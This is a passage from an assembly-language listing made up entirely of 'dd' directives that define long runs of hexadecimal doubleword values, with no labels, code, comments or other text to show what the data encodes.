2C72C0h, 0DAED0779h dd 9AA0C1A8h, 40EAFC2Ch, 0C3F901Eh, 10078226h, 93190076h dd 537505BCh, 8D03F4F9h, 0D1A15A65h, 1270CFE6h, 0C6740CCh dd 0E44BBCABh, 0D824E780h, 0EA0098B0h, 59DA1619h, 0F9E500FCh dd 0E3D7D985h, 4D005FEDh, 7C38053h, 0C2E2E7ECh, 0DF79AC20h dd 0F32A7460h, 0F81FE9F4h, 0B90341ADh, 2DD7886h, 13512F60h dd 14404B8Fh, 0CE0D8711h, 38A29A0Dh, 0B8A4E0h, 0B1FD595Bh dd 71C413E9h, 59E25C30h, 551E3BFh, 0E41A915Eh, 25C0C12Fh dd 0AE0B608Dh, 980090E8h, 0A45939ABh, 956768h, 33F63C78h dd 17DB4EF4h, 42F93803h, 0B0B93AF1h, 12B4943Dh, 0C3207h dd 0E3440ECh, 0D03D12BDh, 2CA000C6h, 0F19F1671h, 114F01F5h dd 0BE3E49E7h, 7B606017h, 21CC4100h, 0A988B07h, 0B2BD07D3h dd 6047ABD1h, 88C655DBh, 0E3A82B60h, 0C05D5h, 0D71D3704h dd 84294448h, 0C8037DF0h, 0F71E4B7Eh, 99E8399Ch, 0DB77F6h dd 910EEBF5h, 52876C5Ch, 0B16E2803h, 5AB67Dh, 0D881C958h dd 2C2A20F1h, 5FCA68CEh, 97BC63C0h, 59F84Ch, 781C7527h dd 7FAAB61h, 20D98401h, 3F25C4DEh, 0C360B7E9h, 0EA1607EBh dd 806FCC14h, 6760CD15h, 0AD63990Ah, 8994C0A7h, 10EB87E4h dd 969BE460h, 8C672C4Dh, 25FA005Ah, 0BF66890Bh, 0A9DA4F00h dd 7CFFC39Fh, 7861E08h, 0F06DD2Ah, 6DA01C5Bh, 59D8F74h dd 6C12590Bh, 51942033h, 0A024F6F3h, 9AA5B9F0h, 15B5F8E0h dd 0A8605083h, 0F0320077h, 311E3597h, 0A5A0DCB3h, 6008F23h dd 6CAEDE69h, 91EE12h, 0A87F945Fh, 1C79CB24h, 87065C03h dd 0A86F27B3h, 6618C7h, 4CACF621h, 0B6E77470h, 7BD4FF03h dd 81794098h, 80DBA3A0h, 7E803Ah, 0E987E777h, 0CF46930h dd 7C812B03h, 0E0548996h, 0EA08B2h, 64E51A7h, 86A44CC6h dd 0BD37B90Fh, 3AF287E7h, 5C102417h, 0F4DE9947h, 8F8D004Eh dd 84AA640Dh, 0A0E4EA09h, 86F93400h, 52E008B3h, 642600FAh dd 2AD0663Fh, 171DA870h, 4907B807h, 29608F59h, 18A14288h dd 3892C63Ch, 0F6601EC2h, 0D43B31D2h, 0C49B00AEh, 0FAA6BE3Ah dd 0A13D8B52h, 70DA00E1h, 0C82E35D8h, 37FF009Ch, 0B7A2533Ch dd 2600EB7Fh, 0FB821FD6h, 0B1012Eh, 0A681E808h, 8A68700Ah dd 0BB82F00h, 89F0906Eh, 2253009Dh, 0E77323FDh, 1B60C857h dd 29F326F8h, 61493D36h, 0D593E380h, 0EEAE474Ah, 1C8EF50Fh dd 79214009h, 3CC84575h, 5A805C19h, 0D98AB0E2h, 39C1EF4Eh dd 86DC3F07h, 1EDAA5E4h, 36FC12Fh, 0E35A22C5h, 4B601DA2h dd 1C005F49h, 0A575A17Dh, 78A4C35Eh, 8DF21E83h, 0A2DD0E3Ah dd 25A500B7h, 76546B11h, 9B01741Fh, 5C236500h, 0B24151h dd 6F928E64h, 815A38FCh, 26BA3A00h, 2AAB0E10h, 3C9300D5h dd 0E9157F49h, 880F9771h, 80EDA29Fh, 5E36A909h, 2FA83F5Ch dd 94C60B03h, 0A80124C2h, 7FC3A393h, 0B3E03C92h, 0E0606061h dd 17D7CEC8h, 0F370F166h, 751B3AD1h, 40452B9Eh, 238747BDh dd 677A1A0Bh, 510EA97Bh, 420A48A6h, 407C44DBh, 0C1743A2h dd 0AF56C8C4h, 1A1FAE10h, 0A800EC2Bh, 0E7CD5A29h, 0FC98003Fh dd 2E522D9Fh, 3D0009F5h, 0CAD490E1h, 0E3FB36h, 3ECF7170h dd 44081575h, 6F00A0FAh, 428728D9h, 7116D21h, 5EDF4FD0h dd 0B501104Dh, 53001E93h, 8009724Bh, 1D7FAA48h, 0C06BB99Ah dd 0AD732E8Ah, 331F062Ah, 310CD66Ch, 3877B046h, 74CE45h dd 4FBA1528h, 2B0BA38Ch, 80D9D800h, 0C92C5402h, 645E015Bh dd 0A184449Bh, 8530875Ch, 3570C4D1h, 1496D2h, 1E16C799h dd 287A0A63h, 720DDD00h, 0A2756413h, 0AF9F07ABh, 0A07D5AFDh dd 0B8A31B2Fh, 0F0704003h, 0E849455Eh, 0E9440942h, 186FFD4h dd 7BE9E1B2h, 0D0C9F43Dh, 0BD001729h, 65E7F90Fh, 7405D4h dd 5A45437Ah, 44271640h, 0D6BD0901h, 1415994Dh, 475220h dd 0E98119BAh, 28F67F32h, 408B1300h, 6417D91Fh, 5AFB00B2h dd 7CF8F4B6h, 4476A6B5h, 3346C600h, 0D0627294h, 0B8BF3E38h dd 59508F00h, 0A21674Ch, 3539B398h, 0A8E60079h, 86DE0E26h dd 0B0F83F50h, 92D05380h, 0FD11E731h, 0E4549900h, 6079283Ah dd 9AB20043h, 0C9EB40E0h, 0A019BEAh, 2EF6473Fh, 204BF9BFh dd 29C11F08h, 0C04F6863h, 70736Ch, 0DABB023Ah, 65B1D099h dd 76CF1707h, 0E2D0BC12h, 326DD1h, 9C999BE9h, 13BFCB7Dh dd 52166000h, 0B221DE73h, 24FA03B5h, 566E11CCh, 0E0F8FB89h dd 3100358Dh, 0E9381643h, 0FBB1AF5Bh, 0F908A6h, 0AE6971C3h dd 140E6FDEh, 612E2D32h, 89C99BFEh, 28BF5EC1h, 6D654880h dd 38BC4EBDh, 8060FF6Fh, 0C0F0DBB2h, 705B00FAh, 0C3268F66h dd 4F01DC23h, 0DEA57217h, 0ACF0B455h, 95B20CCCh, 3DB9B94Dh dd 0E02B3500h, 6D5B826h, 0FC0F154Eh, 518080A1h, 2C41AA1Dh dd 7C80A046h, 0AF5A7AF7h, 0DE65F0C0h, 0A01ED845h, 6367F0h dd 91410734h, 0F8323599h, 7200AAE0h, 8804D3F3h, 31326F2h dd 8B1D416Ch, 0A6D8ED43h, 0A839DB69h, 48BF8066h, 0B3D06B34h dd 1DEF638h, 0A149F0B9h, 0CCB759A8h, 3429CAADh, 0C46E205Dh dd 0C630EBBEh, 0D100458Dh, 72A5199Ah, 6EC9E14h, 84D3587Fh dd 6C03C828h, 78F6F817h, 0C7721F67h, 50A3D856h, 9E2639E2h dd 37008C72h, 0F95A5BF1h dd 0BC255013h, 0D846505Dh, 84320A43h, 3F4F047h, 0CC6E609Ah dd 0A88D3100h, 0B095AD44h, 15A91432h, 0A85BE0F9h, 241090Dh dd 0B110004Ah, 129F0182h, 0CDAA10Ah, 0F6107DC5h, 0FFEAF100h dd 68E111D6h, 0E948C0B1h, 0DC8E1F1Eh, 3FDBA002h, 30A5D45Ah dd 0B329FC16h, 9801CA7h, 9A410599h, 0C43CA60Ah, 20E03268h dd 20310758h, 7C153829h, 8530D11Eh, 1830A6CBh, 7E1C5749h dd 0AA6F2B8Eh, 23921C30h, 0D04F6982h, 1118BB8Fh, 0C7B77360h dd 0FBE37C89h, 3090467Bh, 0C7A30211h, 0FBA320A9h, 30F0461Bh dd 0D9502B08h, 0BE2DC9C0h, 5BC138Fh, 92A60617h, 0E30A40AEh dd 0B45BE6EEh, 6006C67h, 0E29BDCFh, 61DDEF47h, 31D360E0h dd 0CB07E150h, 0CC4BC27Dh, 94536240h, 0C358B80Ah, 5BEE2F39h dd 1C7070CCh, 42950A92h, 4C18F476h, 0B1422168h, 31FE4D00h dd 0C6B6D990h, 0D100DAF2h, 0C5BF827Dh, 6630420Ah, 505040F9h dd 0A7539BF8h, 6C838844h, 0AC01B059h, 0A5E27043h, 0B3D29587h dd 1990111Ch, 37D0C0B2h, 5620AE5h, 0A8303A92h, 3638285Ah dd 0CEF0008Eh, 5EC1C249h, 2126371Ch, 833CFD8Ah, 827885A2h dd 0C30A835Bh, 226018F9h, 0B466117Ch, 0E621C60Ah, 61C250FEh dd 4C103855h, 0A1C1DB0Ch, 0A7E248E7h, 1F930888h, 461030E0h dd 882130C2h, 89C54298h, 0B102780Ah, 0F30AB8EAh, 1D05DC91h dd 983C7DC0h, 7C47C9h, 0CC650350h, 0CD28EE1h, 0E636227Dh dd 1260D698h, 7334C6E8h, 88110162h, 302BA295h, 202CE196h dd 70410230h, 0A5F9ECF0h, 0F97060B4h, 0E2717818h, 0A2548674h dd 0B43322D8h, 78F040C5h, 0A8A5C0h, 5B690D53h, 10C071E5h dd 0C51EFC68h, 0C8D46152h, 5C73470Eh, 5F066044h, 2114D63h dd 96D40980h, 7014413Bh, 0CF8DB304h, 8480BB6Bh, 221EE90h dd 9E62A1C8h, 0A89401C9h, 0CA64550Fh, 58A43F8Fh, 0C8222C01h dd 0E5C73741h, 6E3B1870h, 0D0584449h, 0C618600Ah, 0C3CE14E1h dd 0D0D12365h, 10F0325Dh, 0B0CA40B3h, 0FD495EFCh, 203258D4h dd 61428F10h, 5BDA1F80h, 50C02C23h, 0CA3C0C30h, 0A5247AC1h dd 4B6D0254h, 84A7D5C4h, 0F008C950h, 52F7E014h, 0FD54BC37h dd 0D0C12AACh, 3BE69CC1h, 0A76185Ch, 0AFE7B1C7h, 59900080h dd 4AE13BDAh, 0A1003EEEh, 0E2962BADh, 56958184h, 32012002h dd 0E0C929D0h, 7BB843F8h, 0F9216801h, 68A1371Fh, 34224085h dd 0E983824h, 0DC187D0Ch, 0D040E6h, 6133E42Eh, 41C25FC8h dd 3BEAC60Ah, 55C91C81h, 0EF19BA03h, 73F03800h, 0D181C1E1h dd 0C37C91C7h, 2BF3B9A9h, 0DF103112h, 102CDC12h, 44FC1869h dd 2430296Bh, 1109A52h, 0BFA534F4h, 0C441FBF9h, 0E08230DBh dd 62957B70h, 0A847014h, 0D76B35E7h, 7E9F0AC8h, 543E70A4h dd 9067841Bh, 479E9B28h, 0FA0150D0h, 295CCAACh, 30B840FCh dd 0ECA533FDh, 1CE96F83h, 0D0511875h, 0C3A1F04Bh, 0C03E2126h dd 1BE46B59h, 0F031C24Fh, 6063FDBEh, 82A1ED8Bh, 6A3C3192h dd 301828C6h, 0DD100197h, 0B1ECCC91h, 66604561h, 0ACF10926h dd 231BE051h, 788E02E0h, 1D010144h, 7C820F77h, 45A2F062h dd 1E74804Ch, 303E5CD2h, 0B222082Fh, 813F0E5Ah, 1825510h dd 0E863BB0Ch, 0A2B0C1A4h, 61F03073h, 0C25830F7h, 1C88D148h dd 779E03E1h, 7024EE00h, 0E8519F62h, 0EEB2642h, 58AB0068h dd 5610E273h, 0D5627107h, 378077A6h, 590270A3h, 441E200Eh dd 3E103AC1h, 0FFBB18E1h, 0C0FAD8F8h, 77DC8208h, 0F635F22h dd 0C10BBE30h, 8BE8962h, 58F66670h, 87E88048h, 2734A07h dd 86CED7CCh, 32A03680h, 0B3309A55h, 0AF618483h, 6921091Eh dd 8CBCC107h, 5490E0CEh, 0C5584271h, 5AFF6230h, 0AC0044C4h dd 0E208EC5Eh, 0F0372F31h, 0E5F10BA9h, 1CB32C0h, 0F1EA685h dd 0D3F775A5h, 0C81FCE3h, 0F09BEC5h, 87CB191Bh, 5C0E754h dd 185746CFh, 58DBC342h, 0C2E8D47Ah, 1C1D2624h, 0B60903CAh dd 101C215Bh, 18200C48h, 3E2D0097h, 71701EC1h, 0F714C802h dd 1544277h, 0A20F9074h, 0F820E315h, 77F50355h, 5771D782h dd 0E0702DE7h, 60F16BF2h, 0C0BF6C68h, 0F05EA4A3h, 2C08D6A0h dd 0BC184D88h, 30911E91h, 0D0B05051h, 8C663CCh, 81B09256h dd 0C14CE8BCh, 0C3D2B0CCh, 0D8C2490Fh, 4AE5012h, 84668218h dd 0B50CB74h, 9235F13h, 7018009Ch, 0C1D8F5h, 0CD6794E1h dd 93CE921h, 43394213h, 7CEB3804h, 6D7F9881h, 0FB279020h dd 0B88FFC30h, 40025D68h, 754EA20Bh, 817CB085h, 204162E8h dd 1224E178h, 46092858h, 8ED08328h, 9FF6E7CFh, 63CCF008h dd 0A94310D0h, 466386Bh, 0E8C39E3Ch, 413482E1h, 8C248710h dd 24DF487Eh, 9BD1F1Fh, 6C009322h, 736F5EE2h, 0E12CC218h dd 247A6E10h, 424C420Fh, 841E760h, 0E0EC21D5h, 65EEF66Ah dd 0E5303892h, 5451041h, 0A27718BEh, 57E208E7h, 0B8DE19C3h dd 9381E170h, 0AF3DFC40h, 6C25010Ch, 0BCC5C211h, 2E5C2031h dd 0A2307862h, 56744049h, 0A1CC3C88h, 2133FF05h, 64A843B3h dd 44A1CD1Ah, 0DD208C65h, 0C3D3A87Dh, 5EBE4138h, 141E7001h dd 86F88297h, 63943C20h, 0AC7A5846h, 7D7FA1C0h, 0B63CAA90h dd 294112A0h, 782A803h, 66A824D7h, 94E28954h, 80C2C404h dd 5B1D22F4h, 3804A8A0h, 0BC02970Eh, 0F8189737h, 1E13A5D8h dd 0C042A9E8h, 77C5CB1Ah, 7F980FB9h, 850BBA74h, 16CE4AB3h dd 4B200290h, 0F7853CA0h, 75110CC0h, 50000F4Ch, 253302A8h dd 182788BBh, 0E848C280h, 10D47942h, 8B37B0D8h, 516E62A4h dd 0F04002B0h, 0C8905622h, 0DA1BE212h, 18B8C38h, 5DE4889Ch dd 0D54EF149h, 0D6FFEC1Fh, 40CFC903h, 0D00128F8h, 7255E10Eh dd 0FE843C20h, 7E06F61Ch, 0F4E96400h, 0FB3B02DFh, 3E753F3Ch dd 795F0109h, 77367F0Ah, 0A0A7088Fh, 46AEBF00h, 6F0020CAh dd 2C84C0BEh, 0C05EABD0h, 0F026E81h, 0DE039F06h, 4E205668h dd 8208006Ch, 0A9C0B013h, 601DB725h, 801C4C5Ch, 80CA374Fh dd 0E055CBCDh, 30E6528Bh, 0B1B01B04h, 4E8E41ECh, 10C4FFABh dd 1708CCBEh, 0CFE0C038h, 0DD00A0E8h, 4360B8D5h, 0FCFFFE83h dd 0A0B35FA9h, 0A01EB0DBh, 0C003AADBh, 0C1CA3BA7h, 60E0BDE8h dd 0E0C47C8Eh, 0B75D0308h, 0CA33C640h, 0CFDD5080h, 1E742078h dd 3CD2230Eh, 0FDAF87CCh, 3069E340h, 0DFA004C8h, 0C39F0D67h dd 0ECA00CA9h, 5F56FB50h, 9E340468h, 0AE406A35h, 5FFFC298h dd 0FC550E02h, 8082E9BFh, 0B1AB3998h, 83E6E80h, 0E3C8B20Dh dd 98831782h, 20C0BE7Dh, 0B0747984h, 0CE0F607h, 2B7821Fh dd 0A09C3E43h, 97A5AFFh, 0F5B49FFEh, 0C0480C08h, 5DC38668h dd 0F14EF605h, 0AC0224CEh, 904B341Fh, 0CD90EE14h, 0DCB85876h dd 0C01D1D3h, 0B8D76EFFh, 0A0EFEFE0h, 0A0337680h, 3FBA19F0h dd 9C2840B1h, 0BF4505B0h, 0E57F02h, 0B944A0ACh, 1E29DF0Dh dd 0AEC0943Ch, 66DC473h, 0EF154EEh, 801CF852h, 404EB002h dd 4395FD98h, 0B8488354h, 52B29Fh, 5667EE2Eh, 8876000h dd 24143F06h, 0E6E01DBDh, 63183E11h, 62A808F7h, 0F0C0B709h dd 6C540088h, 6340CA5Fh, 26A07850h, 0D31D070h, 0A9028075h dd 0C3DE088Fh, 89496003h, 284880E2h, 0F9C694C0h, 3E10C42Ah dd 0FF7099D2h, 4A40188Dh, 11CFF030h, 0B431B770h, 9CBC28A7h dd 0FBCC5301h, 202E4E81h, 41260694h, 0A4203BC8h, 60681F19h dd 0B88073F8h, 0B8337A0h, 317C4A63h, 0D70F16E0h, 54F9A3CCh dd 84DD0194h, 7DD3030Bh dd 50F3C3D0h, 48EBC8AEh, 7B121CD4h, 0F05C03DAh, 0A1E10D6Bh dd 10880A9h, 0EA209679h, 3F0C10CDh, 83BF12D8h, 47074C1Fh dd 0B5E3Dh, 71DFF3B0h, 6C7FE8FEh, 1CA808BFh, 9ED0E0C3h dd 17F781B0h, 6257E0E0h, 0AD22B833h, 5D018483h, 2BE9E800h dd 0FBCC605Eh, 15E09Eh, 40C0C842h, 94430B8Fh, 0C3CF7007h dd 0D04C07E1h, 3EE8C43Ch, 27D0806Dh, 5F3D0EB2h, 1F4B00BFh dd 6097C47Ah, 9EF7076Fh, 81BD18C0h, 0F0C30CA0h, 80A029E0h dd 0C94C3C9Fh, 0E0362490h, 25CF5F1Dh, 0E151075Eh, 0E3D5DF82h dd 0E4BC8108h, 0B41F2894h, 7FC38009h, 2338B002h, 21AB3040h dd 0E14CBFE8h, 324C72C4h, 54202448h, 242B1150h, 0B9BCF319h dd 55D4C12h, 206FFE38h, 608BCE14h, 4A37D713h, 1D27B000h dd 332620BDh, 0EA8060Bh, 126040C0h, 142680F8h, 0E01474AAh dd 0FD2012ACh, 5E164C45h, 0A2EDB809h, 4095D9CCh, 90230E00h dd 1C0A580h, 8ADED998h, 1D8E01E1h, 0FCA678BEh, 58D424E4h dd 7A2254CFh, 0F8AE183Ah, 34D998FBh, 188C0090h, 3106B63Eh dd 90CED90Bh, 39F9C41h, 6420C88Eh, 0C1FF03FEh, 84E4FC56h dd 0A72882EAh, 0F2A2D043h, 8C5DC089h, 9249E800h, 10D32694h dd 0D62701E0h, 20FF63CCh, 0EA48038Ch, 7CC30780h, 8682055Ch dd 0C06843D0h, 485F0D6Ch, 48746C30h, 3E7C8CDBh, 274692Ah dd 0E0967EB5h, 7861CF52h, 0E1AC341Bh, 1CF80898h, 301C324Ch dd 7AA008DEh, 3FF301EDh, 0DF0298B3h, 9840F61Dh, 7490A3FDh dd 20385562h, 0A3784367h, 608284CEh, 40A44098h, 77809032h dd 330B2A0h, 806923FEh, 60A024BBh, 83F8F2A9h, 124AF43Ah dd 78042B43h, 6C85C3DFh, 13BA202Ch, 5CC91A52h, 0DCA4C7A4h dd 0C453D3B8h, 0D2D3900Bh, 77EC160Ch, 55C409ACh, 0C087E7C2h dd 14CCEA69h, 4002E81Bh, 2302612Fh, 203838CAh, 7F0961DDh dd 84180C07h, 0FC84FEC4h, 0B49260C4h, 58D88890h, 8DA099E0h dd 78CB606Ch, 0BD70074Eh, 84B064E0h, 528E24A5h, 0E1058CB2h dd 300C606Eh, 0B1A5E140h, 724C58FBh, 16963B18h, 638F8E61h dd 0F4C30F9h, 3F8064E8h, 0A70124E8h, 44E43C84h, 0A0E046C1h dd 884C3B99h, 4ECF9Eh, 0B27DC662h, 3178FEC5h, 1426FB29h dd 6CC0CD1Dh, 7DDDB181h, 55744CD2h, 275F4400h, 0F197843Bh dd 5304657h, 47ED39FDh, 0F27DF800h, 143B22FAh, 144A3144h dd 5A10C381h, 7DE530DDh, 95D31214h, 36C9A058h, 6D0E2063h dd 70A13214h, 8B61A714h, 51A64A14h, 850E1EB7h, 28511A64h dd 38E2AE18h, 30C0CE98h, 460C5672h, 0E814AC04h, 2584223Ah dd 2109256h, 3E55A5A7h, 2A8AF64h, 0B084D9ABh, 30752914h dd 0D2A18B38h, 46073BDDh, 3D954544h, 7399D640h, 94A543h dd 7A6D4DC9h, 0A8A0C2F3h, 0D8C329F6h, 9B3D86E4h, 9D05EC9Fh dd 9BFC0E09h, 47AD2099h, 56040D8h, 3401838Dh, 5644D9A9h dd 2CC8DA84h, 38005A3h, 708E89EDh, 0D79BB03Ch, 2FFECF14h dd 0F2319D0h, 0D4405760h, 0E98A9E44h, 729EE3E2h, 8E730360h dd 7F2C39C3h, 0D9A5DBA0h, 707BE430h, 0AFA64h, 4A45438Dh dd 2BF1A38Ah, 0B8D83A8Ch, 909D1394h, 0EEA3209h, 8CB1C06h dd 582A885h, 4845F509h, 42D5264h, 0CE643D80h, 64C8EF2h dd 8FE2B214h, 0AC7228D1h, 877CA5A0h, 165E04A8h, 921828FFh dd 975039CBh, 0C010910Fh, 322773CEh, 6AB259C0h, 48043CEBh dd 0A4009096h, 7874253h, 27E85EE4h, 15584B3Ch, 0C1B83767h dd 97AFB1Eh, 20BCD211h, 0F148C4E0h, 0F2A43AA0h, 354A8A0h dd 0A183A4A0h, 0F8C03491h, 0C0AE36B2h, 0BD77F249h, 14AC6443h dd 5130B71Dh, 1280ACE4h, 0C43B3906h, 6214661h, 0AEA837A6h dd 0D8323429h, 0DDE02891h, 0E9DE6818h, 2BCC5229h, 8E503C66h dd 430AA703h, 5F7282DCh, 0AC963C63h, 609A560Ch, 159251CFh dd 643C792Dh, 4A23C2C1h, 0B7B210D9h, 1E50A538h, 0C4478827h dd 740BD280h, 609F243Fh, 9CC2300Fh, 361E843Dh, 50743A0h dd 7A108755h, 48238E8Ch, 632B70AEh, 9EDE0540h, 0F2680294h dd 0AC42BB40h, 48826445h, 2660E3Bh, 0F0809112h, 8E3ADF24h dd 5FE6071Ah, 8AC1670h, 70D56F55h, 3D513201h, 96EE043Bh dd 4DC70C48h, 52315695h, 3C645E13h, 1867C02Ch, 29F1AF30h dd 0E53DC72h, 902D819Ch, 8822EDCEh, 14C80438h, 7452343Bh dd 77720580h, 0B280693Fh, 7B015CD1h, 0D20A4D0Ah, 0E48558F4h dd 56750222h, 7B0610D2h, 0A97C0622h, 0F0CFF228h, 70A40426h dd 67FE8139h, 0A549C3C7h, 0FE818823h, 8A6A53E6h, 0A0EE12C1h dd 6D9E4423h, 29CA598Ch, 8A24832h, 0BD784408h, 24387418h dd 0E85B4872h, 0C77CB601h, 0D17AF7A3h, 0D9B5C003h, 0B974247Eh dd 0C782A4A5h, 20F75BDDh, 8AD22A52h, 5A9BE300h, 5482A372h dd 0B0637786h, 0CE442420h, 0B0E407F0h, 58B4CA68h, 53103EE2h dd 72013941h, 4DB57FFh, 641BF8C2h, 45910285h, 92228772h dd 0C23C4335h, 44AC40E9h, 2CC0D2F9h, 140B959Ch, 1B73D20h dd 59AEB2E8h, 6F806033h, 0FFE44206h, 0BD24308Ah, 0C0DB1332h dd 5E4C421Fh, 0F163C8Bh, 0BED2B180h, 127E8A40h, 4000CF49h dd 1B9CECC7h, 0E89EA6C4h, 6CCA5824h, 0FCC18052h, 0C66FB1EBh dd 0B3E63201h, 6C224861h, 0EC222A8Fh, 52018AFDh, 0EC405A93h dd 240B2DCh, 12D1CF47h, 5C425084h, 590C8C16h, 411D13F3h dd 48F10A72h, 0C034E743h, 0C5BDB617h, 0BC299528h, 4C582348h dd 7F8BB0B8h, 792C146Eh, 6009B42Eh, 5416441Ch, 0BFF65C0Ch dd 8D2E1A4h, 0C412D6EEh, 3132EC50h, 0F2512FE8h, 1CD82184h dd 0D212A33Ch, 2442ECABh, 0C02D3512h, 1467825Ch, 404D2A7Ch dd 9DD4EDC1h, 32318077h, 0C380AFD0h, 86781514h, 318158E3h dd 9D1B7AC9h, 3C6E5231h, 0BC282316h, 600D7D84h, 977229C6h dd 3127F2Fh, 0A800A0F4h, 638091DBh, 0AEB474BEh, 0E7740834h dd 9285BAC5h, 4CC01873h, 0B1D9A870h, 0CD9163F4h, 343E5FB1h dd 192B2754h, 78814C8Dh, 668748ABh, 974D0405h, 65C8BDAh dd 9BCB1423h, 0E1F20A81h, 0E03CDA42h, 6A9297B6h, 6F041C78h dd 0DA811812h, 750018CBh, 0EB61DD19h, 320A6F87h, 0F4D9BF41h dd 1098DD58h, 0C7DDBh, 81473F52h, 1ACA6F23h, 10778380h dd 2A486C38h, 89E2D530h, 3AA2B772h, 0F028A380h, 0B0430A84h dd 0C074837Fh, 0DF64F2FFh, 0D8DC1C03h, 0B8AC97ADh, 1E07377Eh dd 0C7C33CA8h, 0D1C0F375h, 8024162Ch, 0F60B4D28h, 1585DEE9h dd 181EDF90h, 41BA8383h, 0ED002FB2h, 0AE751EAh, 0AA61023Eh dd 0BD4B8214h, 8D20CB6Fh, 1D43EBDEh, 0EDB810h, 0DFBC5730h dd 0A774D2FEh, 10CA8CFEh, 5DC0389Eh, 3C565A3Dh, 2D98E5B2h dd 0A4904814h, 0FEDC9E07h, 5E411011h, 8AC3BC9h, 73E83049h dd 60AEE097h, 0FDEF9600h, 0E566C955h, 3D4003CDh, 0EE87DEDCh dd 90CE9872h, 686E0ABEh, 2E41D647h, 3880C271h, 0E724F16Dh dd 880A99DEh, 346C45E6h, 8D783760h, 0D92531C9h, 41CF3110h dd 83B19594h, 96F0CD08h, 10D5C03Ch, 6A65078Ch, 704087D8h dd 0E45E4B56h, 1D975D38h, 0D000D9B1h, 4864FC25h, 0C78A07BDh dd 0A0090E8Ch, 0BBCA5095h, 305428C0h, 0FC5C94h, 7FBFD06h dd 0E755727Bh, 99AAFA00h, 0ECE58120h, 37C7154h, 11EBDCC2h dd 40960BBDh, 1202A600h, 99271EA5h, 65CF0043h, 0D74824E2h dd 497B6CEAh, 9BBBE903h, 3B096C0h, 255EFBC8h, 9EA03D07h dd 0D303C351h, 740F2BC5h dd 0DEF00CDCh, 0E7607806h, 57DA6F14h, 48007CACh, 0D961F5CDh dd 6546A1h, 0C819938Ah, 4BE437CFh, 0C99B750Ch, 1F699Dh dd 324AC6FAh, 0E1829E6Ah, 2EA94F00h, 9B61DB18h, 0DFEA153Dh dd 0E27FF8CBh, 0C426005Bh, 4BEB8D94h, 6B00F2CDh, 0B3A30F46h dd 7A52AF78h, 1218C579h, 0DF047E4Ah, 0ADEFB243h, 14A89006h dd 7A170058h, 0C3753B87h, 4937FDBDh, 0D8030D3h, 3ECD697Fh dd 66001B99h, 76241721h, 6F56E691h, 6E3BC234h, 54C950Fh dd 0E07B1Ch, 0B215929Ch, 86008368h, 0FD2D34BAh, 3611354h dd 0E1AE9C67h, 1800321Ch, 0AD8BCBDh, 22149B70h, 0A9281B0Fh dd 0F4071867h, 3D5B09F1h, 0D12971C1h, 76E5110h, 3A4519C4h dd 40E49F21h, 0E1D03918h, 0EB872188h, 24A7CD12h, 48028427h dd 9CD46281h, 0C4DD1882h, 39D82482h, 45D51885h, 4D6850Ch dd 24F8893Ch, 22262438h, 0ED210DAFh, 68B31CF9h, 0E221210Ch dd 30EC280Ah, 9066F50Ah, 822FC742h, 10C51148h, 8841CA8h dd 59AB1E5h, 41116916h, 0EE5919B4h, 55609630h, 0B27C300Dh dd 0E6219430h, 9E3019C7h, 0D806B3C4h, 0A400307Ah, 0DC013898h dd 90D27212h, 18970000h, 1D36AA92h, 2B0191B8h, 0F3D1846Dh dd 1BC8DA01h, 0A072241Eh, 8F9004Ch, 46622A3Fh, 24071A24h dd 0A52EC381h, 0EC408B63h, 0A8CAA18Ch, 208F65D4h, 0BA003B9Eh dd 41DFEF78h, 18BE705h, 2009E58Eh, 0FAA936CBh, 0CEFA2501h dd 925956ECh, 0F1470C60h, 8F889661h, 9994A101h, 0E218B806h dd 2EB303F0h, 2C79CEh, 6087BB75h, 8EEE0298h, 3D5204Ch dd 12824AC8h, 3E0BAB5Dh, 74131196h, 28EA019Eh, 0F569E236h dd 7107C0DFh, 996DBC00h, 9735D1F9h, 96720067h, 4982B302h dd 0B9387693h, 584B3712h, 67DA9520h, 83960086h, 0CAE9AC6Ah dd 8900125Fh, 0A63BCBF6h, 10715E8h, 9737F9A4h, 609D993Fh dd 0DB00CDA1h, 0A99C52B7h, 0CE453Ch, 2A060710h, 9DD8325Fh dd 3ACD34A8h, 31E8FF00h, 10E26A8Eh, 543F057Fh, 80A63C89h dd 127E5516h, 0C183FE07h, 0AAA7ADCDh, 0F54D6530h, 296900F6h dd 0C6BA203Eh, 0C9004CEDh, 7903DA80h, 0D5838Ch, 0F7F024C1h dd 0CA99E5FFh, 0D346DE00h, 6168EE43h, 5B4D0054h, 11DFC49h dd 1B01BE73h, 5D4E647h, 39F0A18Ah, 0D1D0608Dh, 0FA4D757Eh dd 64719115h, 510C040h, 76C06CB8h, 2AE5F94Eh, 0E8B783E8h dd 75480F86h, 266FD55Eh, 5DC99AA2h, 1067C0A6h, 2E78B120h dd 73CB2Bh, 0DD49EA83h, 0FC00825Ah, 352C36AFh, 1831342Fh dd 18585954h, 22FC390Dh, 0B2AD7F0Fh, 8388C0EAh, 0C756E004h dd 0C5AE0DD8h, 0CC884E26h, 3C55CEA2h, 0E7F5D2C0h, 95313261h dd 8458482Ah, 75D10726h, 0F93343F2h, 2C113C00h, 0F9060CADh dd 5D81D361h, 643301A9h, 8AB54BEh, 4CDE3A7h, 0B109FCh dd 865682E1h, 0F692077Dh, 418B126Fh, 0FC7021C9h, 36F8732Ah dd 0BB2F9718h, 48CAB368h, 0B2004826h, 86235BCEh, 0DA282149h dd 94F0849Ch, 0D29540C0h, 0A5D05h, 259AFB88h, 7DBDFA7Ch dd 24F6CB00h, 8AF2F73Dh, 3018C518h, 0DB6DC0E2h, 0ABE85870h dd 5D220202h, 80A23B9Ch, 0E3E9E5BCh, 11970063h, 7886B61Dh dd 0F670D1Eh, 39409840h, 60B3FFFCh, 0E2ADA122h, 0DB48A0B1h dd 46D60084h, 95FF0FFAh, 285A02A4h, 53C2C38h, 2BDB7440h dd 8BAEA70Eh, 6FCDC48Ch, 33CCEC80h, 22B200CEh, 49851C70h dd 7D6076A1h, 0F08DB3B0h, 730A578h, 9819719Dh, 83A4EEE2h dd 8D04B2C8h, 0D3FCEC0Fh, 10200912h, 9FF16A64h, 0E10F8360h dd 0C6CE1100h, 0CF2FFB7Fh, 1C9E37DEh, 2807A038h, 0F900C777h dd 736C9682h, 91177FB2h, 88F700DCh, 906BDB0Dh, 0EAC0AA00h dd 9C5E5AFFh, 0E4BA50BCh, 0C7DE2684h, 0CC68E20h, 2C8C15A0h dd 26046224h, 0F9AD7230h, 0D624CCh, 0C7B6AAE1h, 0A5C03C3Ah dd 900023FEh, 0BDD0124Ch, 3E92A0h, 16B082EAh, 0B7520A50h dd 